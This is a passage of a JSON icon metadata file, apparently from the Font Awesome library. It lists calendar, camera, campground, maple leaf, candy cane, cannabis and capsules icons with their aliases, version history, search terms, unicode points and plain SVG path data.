        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zM328 352H184c-13.3 0-24-10.7-24-24s10.7-24 24-24H328c13.3 0 24 10.7 24 24s-10.7 24-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zM328 352H184c-13.3 0-24-10.7-24-24s10.7-24 24-24H328c13.3 0 24 10.7 24 24s-10.7 24-24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f271"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add",
        "calendar",
        "create",
        "date",
        "day",
        "event",
        "month",
        "new",
        "positive",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f271",
    "label": "Calendar Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32V64H80c-26.5 0-48 21.5-48 48v48H480V112c0-26.5-21.5-48-48-48H384V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H192V32c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 192H32V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V192zM256 248c13.3 0 24 10.7 24 24v56h56c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V376H176c-13.3 0-24-10.7-24-24s10.7-24 24-24h56V272c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32V64H80c-26.5 0-48 21.5-48 48v48H480V112c0-26.5-21.5-48-48-48H384V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H192V32c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 192H32V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V192zM256 248c13.3 0 24 10.7 24 24v56h56c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V376H176c-13.3 0-24-10.7-24-24s10.7-24 24-24h56V272c0-13.3 10.7-24 24-24z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H96c-35.3 0-64 28.7-64 64v16 48V448c0 35.3 28.7 64 64 64H416c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H376V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H184V24zM80 192H432V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V192zm176 40c-13.3 0-24 10.7-24 24v48H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h48v48c0 13.3 10.7 24 24 24s24-10.7 24-24V352h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V256c0-13.3-10.7-24-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H96c-35.3 0-64 28.7-64 64v16 48V448c0 35.3 28.7 64 64 64H416c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H376V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H184V24zM80 192H432V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V192zm176 40c-13.3 0-24 10.7-24 24v48H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h48v48c0 13.3 10.7 24 24 24s24-10.7 24-24V352h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V256c0-13.3-10.7-24-24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-week": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f784"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "date",
        "day",
        "detail",
        "event",
        "focus",
        "month",
        "schedule",
        "single week",
        "time",
        "today",
        "when",
        "year"
      ]
    },
    "styles": ["solid"],
    "unicode": "f784",
    "label": "Calendar Week",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H368c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H368c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "calendar-xmark": {
    "aliases": {
      "names": ["calendar-times"],
      "unicodes": {
        "secondary": ["10f273"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "calendar",
        "date",
        "day",
        "delete",
        "event",
        "month",
        "remove",
        "schedule",
        "time",
        "when",
        "x",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f273",
    "label": "Calendar Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM337 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM337 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zm-95 89l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zm-95 89l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "camera": {
    "aliases": {
      "names": ["camera-alt"],
      "unicodes": {
        "composite": ["f332"],
        "primary": ["f332"],
        "secondary": ["10f030", "10f332"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "image",
        "lens",
        "photo",
        "picture",
        "record",
        "shutter",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f030",
    "label": "Camera",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M149.1 64.8L138.7 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H373.3L362.9 64.8C356.4 45.2 338.1 32 317.4 32H194.6c-20.7 0-39 13.2-45.5 32.8zM256 192a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M149.1 64.8L138.7 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H373.3L362.9 64.8C356.4 45.2 338.1 32 317.4 32H194.6c-20.7 0-39 13.2-45.5 32.8zM256 192a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "camera-retro": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4f7"],
        "secondary": ["10f083"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "camera",
        "image",
        "lens",
        "photo",
        "picture",
        "record",
        "shutter",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f083",
    "label": "Camera Retro",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M220.6 121.2L271.1 96 448 96v96H333.2c-21.9-15.1-48.5-24-77.2-24s-55.2 8.9-77.2 24H64V128H192c9.9 0 19.7-2.3 28.6-6.8zM0 128V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H271.1c-9.9 0-19.7 2.3-28.6 6.8L192 64H160V48c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16l0 16C28.7 64 0 92.7 0 128zM168 304a88 88 0 1 1 176 0 88 88 0 1 1 -176 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M220.6 121.2L271.1 96 448 96v96H333.2c-21.9-15.1-48.5-24-77.2-24s-55.2 8.9-77.2 24H64V128H192c9.9 0 19.7-2.3 28.6-6.8zM0 128V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H271.1c-9.9 0-19.7 2.3-28.6 6.8L192 64H160V48c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16l0 16C28.7 64 0 92.7 0 128zM168 304a88 88 0 1 1 176 0 88 88 0 1 1 -176 0z"
      }
    },
    "free": ["solid"]
  },
  "camera-rotate": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flip", "front-facing", "photo", "selfie"]
    },
    "styles": ["solid"],
    "unicode": "e0d8",
    "label": "Camera Rotate",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.1 64.8L202.7 96H128c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H437.3L426.9 64.8C420.4 45.2 402.1 32 381.4 32H258.6c-20.7 0-39 13.2-45.5 32.8zM448 256c0 8.8-7.2 16-16 16H355.3c-6.2 0-11.3-5.1-11.3-11.3c0-3 1.2-5.9 3.3-8L371 229c-13.6-13.4-31.9-21-51-21c-19.2 0-37.7 7.6-51.3 21.3L249 249c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l19.7-19.7C257.4 172.7 288 160 320 160c31.8 0 62.4 12.6 85 35l23.7-23.7c2.1-2.1 5-3.3 8-3.3c6.2 0 11.3 5.1 11.3 11.3V256zM192 320c0-8.8 7.2-16 16-16h76.7c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8L269 347c13.6 13.4 31.9 21 51 21c19.2 0 37.7-7.6 51.3-21.3L391 327c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-19.7 19.7C382.6 403.3 352 416 320 416c-31.8 0-62.4-12.6-85-35l-23.7 23.7c-2.1 2.1-5 3.3-8 3.3c-6.2 0-11.3-5.1-11.3-11.3V320z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M213.1 64.8L202.7 96H128c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H437.3L426.9 64.8C420.4 45.2 402.1 32 381.4 32H258.6c-20.7 0-39 13.2-45.5 32.8zM448 256c0 8.8-7.2 16-16 16H355.3c-6.2 0-11.3-5.1-11.3-11.3c0-3 1.2-5.9 3.3-8L371 229c-13.6-13.4-31.9-21-51-21c-19.2 0-37.7 7.6-51.3 21.3L249 249c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l19.7-19.7C257.4 172.7 288 160 320 160c31.8 0 62.4 12.6 85 35l23.7-23.7c2.1-2.1 5-3.3 8-3.3c6.2 0 11.3 5.1 11.3 11.3V256zM192 320c0-8.8 7.2-16 16-16h76.7c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8L269 347c13.6 13.4 31.9 21 51 21c19.2 0 37.7-7.6 51.3-21.3L391 327c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-19.7 19.7C382.6 403.3 352 416 320 416c-31.8 0-62.4-12.6-85-35l-23.7 23.7c-2.1 2.1-5 3.3-8 3.3c-6.2 0-11.3-5.1-11.3-11.3V320z"
      }
    },
    "free": ["solid"]
  },
  "campground": {
    "aliases": {
      "unicodes": {
        "composite": ["26fa"],
        "secondary": ["10f6bb"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camping", "fall", "outdoors", "teepee", "tent", "tipi"]
    },
    "styles": ["solid"],
    "unicode": "f6bb",
    "label": "Campground",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M377 52c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5L288 60.8 249 12c-11-13.8-31.2-16-45-5s-16 31.2-5 45l48 60L12.3 405.4C4.3 415.4 0 427.7 0 440.4V464c0 26.5 21.5 48 48 48H288 528c26.5 0 48-21.5 48-48V440.4c0-12.7-4.3-25.1-12.3-35L329 112l48-60zM288 448H168.5L288 291.7 407.5 448H288z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M377 52c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5L288 60.8 249 12c-11-13.8-31.2-16-45-5s-16 31.2-5 45l48 60L12.3 405.4C4.3 415.4 0 427.7 0 440.4V464c0 26.5 21.5 48 48 48H288 528c26.5 0 48-21.5 48-48V440.4c0-12.7-4.3-25.1-12.3-35L329 112l48-60zM288 448H168.5L288 291.7 407.5 448H288z"
      }
    },
    "free": ["solid"]
  },
  "canadian-maple-leaf": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["canada", "flag", "flora", "nature", "plant"]
    },
    "styles": ["brands"],
    "unicode": "f785",
    "label": "Canadian Maple Leaf",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"
      }
    },
    "free": ["brands"]
  },
  "candy-cane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f786"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "candy",
        "christmas",
        "holiday",
        "mint",
        "peppermint",
        "striped",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f786",
    "label": "Candy Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M348.8 131.5c3.7-2.3 7.9-3.5 12.2-3.5c12.7 0 23 10.3 23 23v5.6c0 9.9-5.1 19.1-13.5 24.3L30.1 393.7C.1 412.5-9 451.9 9.7 481.9s58.2 39.1 88.2 20.4L438.4 289.5c45.8-28.6 73.6-78.8 73.6-132.8V151C512 67.6 444.4 0 361 0c-28.3 0-56 8-80.1 23L254.1 39.7c-30 18.7-39.1 58.2-20.4 88.2s58.2 39.1 88.2 20.4l26.8-16.8zM298.4 49.8c9.2-5.7 19.1-10.1 29.4-13.1L348 97.5c-5.7 1.4-11.2 3.7-16.3 6.8l-12.6 7.9L298.4 49.8zm88.5 52.7l46.2-46.2c8.5 6.5 16.1 14.1 22.6 22.6l-46.2 46.2c-5.1-9.6-13-17.5-22.6-22.6zm28.9 59.3l61.6 20.5c-2.2 10.5-5.8 20.7-10.5 30.2l-62-20.7c6.2-8.8 10.1-19.1 11-30.1zm-86.1 82.5l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zm-107.2 67l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zM119.3 375.7l60.4 37.7-30.2 18.9L89.1 394.6l30.2-18.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M348.8 131.5c3.7-2.3 7.9-3.5 12.2-3.5c12.7 0 23 10.3 23 23v5.6c0 9.9-5.1 19.1-13.5 24.3L30.1 393.7C.1 412.5-9 451.9 9.7 481.9s58.2 39.1 88.2 20.4L438.4 289.5c45.8-28.6 73.6-78.8 73.6-132.8V151C512 67.6 444.4 0 361 0c-28.3 0-56 8-80.1 23L254.1 39.7c-30 18.7-39.1 58.2-20.4 88.2s58.2 39.1 88.2 20.4l26.8-16.8zM298.4 49.8c9.2-5.7 19.1-10.1 29.4-13.1L348 97.5c-5.7 1.4-11.2 3.7-16.3 6.8l-12.6 7.9L298.4 49.8zm88.5 52.7l46.2-46.2c8.5 6.5 16.1 14.1 22.6 22.6l-46.2 46.2c-5.1-9.6-13-17.5-22.6-22.6zm28.9 59.3l61.6 20.5c-2.2 10.5-5.8 20.7-10.5 30.2l-62-20.7c6.2-8.8 10.1-19.1 11-30.1zm-86.1 82.5l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zm-107.2 67l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zM119.3 375.7l60.4 37.7-30.2 18.9L89.1 394.6l30.2-18.9z"
      }
    },
    "free": ["solid"]
  },
  "cannabis": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55f"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bud",
        "chronic",
        "drugs",
        "endica",
        "endo",
        "ganja",
        "marijuana",
        "mary jane",
        "pot",
        "reefer",
        "sativa",
        "spliff",
        "weed",
        "whacky-tabacky"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55f",
    "label": "Cannabis",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c5.3 0 10.3 2.7 13.3 7.1c15.8 23.5 36.7 63.7 49.2 109c7.2 26.4 11.8 55.2 10.4 84c11.5-8.8 23.7-16.7 35.8-23.6c41-23.3 84.4-36.9 112.2-42.5c5.2-1 10.7 .6 14.4 4.4s5.4 9.2 4.4 14.5c-5.6 27.7-19.3 70.9-42.7 111.7c-9.1 15.9-19.9 31.7-32.4 46.3c27.8 6.6 52.4 17.3 67.2 25.5c5.1 2.8 8.2 8.2 8.2 14s-3.2 11.2-8.2 14c-15.2 8.4-40.9 19.5-69.8 26.1c-20.2 4.6-42.9 7.2-65.2 4.6l8.3 33.1c1.5 6.1-.6 12.4-5.5 16.4s-11.6 4.6-17.2 1.9L280 417.2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V417.2l-58.5 29.1c-5.6 2.8-12.3 2.1-17.2-1.9s-7-10.3-5.5-16.4l8.3-33.1c-22.2 2.6-45 0-65.2-4.6c-28.9-6.6-54.6-17.6-69.8-26.1c-5.1-2.8-8.2-8.2-8.2-14s3.2-11.2 8.2-14c14.8-8.2 39.4-18.8 67.2-25.5C78.9 296.3 68.1 280.5 59 264.6c-23.4-40.8-37.1-84-42.7-111.7c-1.1-5.2 .6-10.7 4.4-14.5s9.2-5.4 14.4-4.4c27.9 5.5 71.2 19.2 112.2 42.5c12.1 6.9 24.3 14.7 35.8 23.6c-1.4-28.7 3.1-57.6 10.4-84c12.5-45.3 33.4-85.5 49.2-109c3-4.4 8-7.1 13.3-7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c5.3 0 10.3 2.7 13.3 7.1c15.8 23.5 36.7 63.7 49.2 109c7.2 26.4 11.8 55.2 10.4 84c11.5-8.8 23.7-16.7 35.8-23.6c41-23.3 84.4-36.9 112.2-42.5c5.2-1 10.7 .6 14.4 4.4s5.4 9.2 4.4 14.5c-5.6 27.7-19.3 70.9-42.7 111.7c-9.1 15.9-19.9 31.7-32.4 46.3c27.8 6.6 52.4 17.3 67.2 25.5c5.1 2.8 8.2 8.2 8.2 14s-3.2 11.2-8.2 14c-15.2 8.4-40.9 19.5-69.8 26.1c-20.2 4.6-42.9 7.2-65.2 4.6l8.3 33.1c1.5 6.1-.6 12.4-5.5 16.4s-11.6 4.6-17.2 1.9L280 417.2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V417.2l-58.5 29.1c-5.6 2.8-12.3 2.1-17.2-1.9s-7-10.3-5.5-16.4l8.3-33.1c-22.2 2.6-45 0-65.2-4.6c-28.9-6.6-54.6-17.6-69.8-26.1c-5.1-2.8-8.2-8.2-8.2-14s3.2-11.2 8.2-14c14.8-8.2 39.4-18.8 67.2-25.5C78.9 296.3 68.1 280.5 59 264.6c-23.4-40.8-37.1-84-42.7-111.7c-1.1-5.2 .6-10.7 4.4-14.5s9.2-5.4 14.4-4.4c27.9 5.5 71.2 19.2 112.2 42.5c12.1 6.9 24.3 14.7 35.8 23.6c-1.4-28.7 3.1-57.6 10.4-84c12.5-45.3 33.4-85.5 49.2-109c3-4.4 8-7.1 13.3-7.1z"
      }
    },
    "free": ["solid"]
  },
  "capsules": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46b"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "pills", "prescription"]
    },
    "styles": ["solid"],
    "unicode": "f46b",
    "label": "Capsules",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
